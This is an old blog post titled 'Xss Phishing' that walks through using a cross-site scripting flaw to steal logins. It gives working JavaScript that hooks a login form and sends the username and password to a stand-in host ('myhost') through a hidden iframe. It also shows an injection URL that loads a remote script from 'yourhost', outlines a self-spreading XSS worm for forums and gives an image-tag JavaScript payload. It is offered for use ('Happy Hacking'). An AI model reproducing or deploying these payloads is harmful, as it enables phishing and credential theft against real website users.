Beautynetkorea

Thursday, September 17, 2009

Xss Phishing

 ana05     September 17, 2009     email, Hacking, Windows     No comments   

Hi there,
func_resizer.php
There have constant reporting for phishing so tried to get a cool hack for you guys,
as these hacks are becoming more and more famous day by day,
the vulnerabilities are growing and so the hackers activates,
but we first start with XSS.

XSS are certainly changing the away that Phishing attacks are perpetrated.

for example we have a target as :-
http://Thewebsite.com/google/add.php?request=

Suppose, there is a login form and a XSS vulnerability in the
same page.
In order to perpetrate the phishing attack one need to inject JavaScript code in the
variable to make that the victim’s browser load a JavaScript file.
From a brief analyses at the HTML that the site generates I know that :
• The value that the variable “request” receives is not sanitized at all.

• The login form is named “login_clientes”

• The login form have two input fields for user data: “user” and “pass”.
So I will use the following JavaScript code:

loginForm = document.forms['login_clientes'];       
function parseData()
{
var username = loginForm.user.value;
var password = loginForm.pass.value;
saveData(username,password);
return true;
}
function saveData(username,password)
{
var frame=document.createElement('iframe');
frame.src="http://myhost/myparsefile.php?username=" + username + "&password=" +
password;
frame.style.display='none';
document.body.appendChild(frame);
}
loginForm.onsubmit = parseData;

Idea !


So, if browsing a page like (don’t forget to encode the part of the injection):
http://Thewebsite.com/google/add.php?request=<script type="text/javascript" language="JavaScript"
src="http://yourhost/yourJavaScriptfile.js"></script>
A victim will give you his personal data, as long as he clicks the Submit button.
The ideas that you must have in mind are:


• If you can make the user browser load your JavaScript file or code when visiting
some site, you can change that site behavior.

• If some site has forms and XSS vulnerabilities you can try to get the user
inputted data.

• If the user trust the site, the user will, probably, give his personal data
anywhere in that site.

And if the site has vulnerabilities in some page where it doesn’t have forms, and have
some form(s) in other page(s)?

Conclusion



Try coding some JavaScript that opens, in a full-sized frame, the page that has the login
form. If you can reach the form inside that frame via JavaScript, the job is done, else
store a copy of the html that the login page outputs and, instead of load in a frame the
real login page, load your copy, which you control. As the address bar won’t change,
the user trust on the site won’t, probably, change too.
What more can you do with XSS vulnerabilities?


• In forums, or other type of community sites you can “spread the word”:
If you can send a private message, and you know that the browser of the user
that reads it will parse your JavaScript, you can make a specially crafted
message that, when read, shows, to the victim, the page with the login form,
and, without the victim knows, send to other folk a copy of itself. Your personal
worm.


• As above but, instead of send a private message, you can try to change the user
profile data and fill it with more injections.


• “Misplaced” JavaScript code is more likely to be parsed by Internet Explorer
that by Mozilla Firefox. Both Internet Explorer versions 6.x and 7.x parse
JavaScript code written in a “.txt” file, what can be useful in a real world
situation like making a post in some forum that let you attach “.txt” files, a
more likely situation than one where you can attach an “.html” file. Internet
Explorer version 6.x parse JavaScript code given as the “src” of some image.
Example: <img src=”javascript:your_code”>

_Hacker__by_DEVlANT

Happy Hacking
  • Share This:  
  •  Facebook
  •  Twitter
  •  Google+
  •  Stumble
  •  Digg
Email ThisBlogThis!Share to XShare to Facebook

Related Posts:

  • End An Non-Responding Task Or Virus QuicklyMany A times people asks me how to overcome a virus or any unresponding task quickly.Its not easy to end any of the virus file but there are certain w… Read More
  • How To Hack Windows 97 SecurityWell This is hack comes from one of my dear friends,i wanted something totally cool for you guys and that would help a lot,then at the right time i ge… Read More
  • How To Run Mac On Your PC!Hey,HTD here,There is a huge debate on Windows Vs MacA huge upside for mac is that you can run windows through boot camp on there system.But how is th… Read More
  • Top 10 Websites For HackersHi,As i said i am back with more stuff for you guys,Hope you all enjoy them,So i am here to tell you guys world top 10 websites for hackers,Which ever… Read More
  • 100 Cool Windows Shortcut you must know!HiI told this September we would be rocking!So here is the next post these are all cool windows kbs you must know,any how if you are on a windows… Read More
Newer Post Older Post Home

0 Comments:

Post a Comment



Popular Posts

  • Weekend Wrap-Up
    THIS WEEK: So, this week was exhausting! I spent most of my time wiping running noses, soothing coughs, waking up in the middle of the nigh...
  • Max Factor Radiant Lift Foundation
    Radiant Lift is Max Factor's latest foundation that promises a radiant finish and all day hydration. I was sent two of the darkest shade...
  • How To Download as premium on all premium hosting !
    There have been a very long discussion on how to download on premium websites such as Rapidshare.com , MegaUpload.com , Megarotic.com and S...
  • MISSHA LINE FRIENDS EDITION: NEW PRODUCTS
    Because one release is never enough. Not too long ago, MISSHA released a load of cute products in collaboration with LINE . This is the seco...
  • New in #80 - Hair Care Edition
     JOICO K-Pak Deep Penetrating Reconstructor I used to have this product many years ago when I had highlights and then dyed my hair red and b...
  • FARMASI Matte Liquid Lipsticks
    Od siječnja stižu upiti u inbox na Facebooku o Farmasi tekućim mat ruževima. Svi su se zanimali za njih, nitko se nije mogao dokopati ruževa...
  • The Beauty Products Going VIRAL On TikTok
    via Giphy If a product goes viral on TikTok it usually means one of two things: it’s either super affordable and/ or gives the most amazing...

Copyright © 2025 Beautynetkorea | Powered by Blogger
Design by Hardeep Asrani | Blogger Theme by NewBloggerThemes.com | Distributed By Gooyaabi Templates